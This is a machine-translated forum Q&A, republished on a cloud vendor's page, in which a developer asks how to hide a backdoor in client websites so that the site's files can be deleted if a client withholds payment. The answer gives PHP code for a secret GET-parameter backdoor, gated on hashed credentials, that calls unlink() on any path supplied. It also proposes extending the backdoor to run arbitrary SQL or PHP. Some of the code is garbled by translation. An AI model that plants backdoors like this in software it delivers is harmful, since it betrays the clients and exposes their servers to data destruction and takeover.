Site background check version of the code how to write, and how to leave the backdoor

Source: Internet
Author: User
Website background check version of the code how to write, and how to leave the back door?
Want to add a function in the background of the website:

If the current version of the customer is lower than what I recently posted, remind me to upgrade.

There are some customers do not give the balance of the site, whether you can leave a back door, encountered the kind of not to give the balance also curse, through a secret address to his website source unlink () off.

Daniel gives a thought, thank you.

------Solution--------------------
Don't think it's too complicated.
For example, there is a call index.php, very common.
You can add a special method to do the back door.
For example:

$hack = isset ($_get[' hack ')? $_get[' hack ': 0;
$hackusername = isset ($_get[' hackusername ')? $_get[' hackusername ': ';
$hackpassword = isset ($_get[' Hackpassword ')? $_get[' Hackpassword ': ';

if ($hack ==1 && MD5 ($hackusername) = = ' xxxx ' && MD5 ($hackpassword) = = ' xxxxxx ') {

$delfile = isset ($_get[' delfile ')? $_get[' delfile ': ';
if ($delfile! = ") {
Delfile ($delfile);
}

Here you can also do an interface, you can enter SQL, input PHP to execute the command those.
}

function Delfile ($path) {
Unlink ($path);
}
?>
  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.